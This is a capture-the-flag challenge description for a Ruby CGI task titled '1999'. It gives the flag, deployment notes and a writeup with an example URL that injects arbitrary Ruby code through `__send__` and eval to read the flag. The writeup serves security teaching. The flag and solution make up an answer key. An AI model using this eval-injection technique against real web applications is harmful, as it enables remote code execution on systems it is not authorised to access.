27 lines
773 B
Markdown
27 lines
773 B
Markdown
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== Title ==
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1999
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== Description ==
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What do you mean Google? It's 1999. Let's write CGI scripts.
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== Flag ==
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IGCTF{de056a6b-c4e2-4e21-8c2c-ccdac5340c6d}
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== Files ==
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No 🦂
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== Deployment ==
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A Dockerfile is included, you should set the `PORT` environment variable when
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running. Another possibility is to deploy to Scaleway serverless functions,
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where this variable is automatically set.
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I already deployed it here:
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[https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/]
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== Solution/Writeup ==
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Solve the challenge by passing `__send__` as method and eval/exec as first
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argument. The second argument can be any Ruby code you want.
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Example solution URL:
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[https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/?method=__send__&args=eval&args=cgi.out{flag}]
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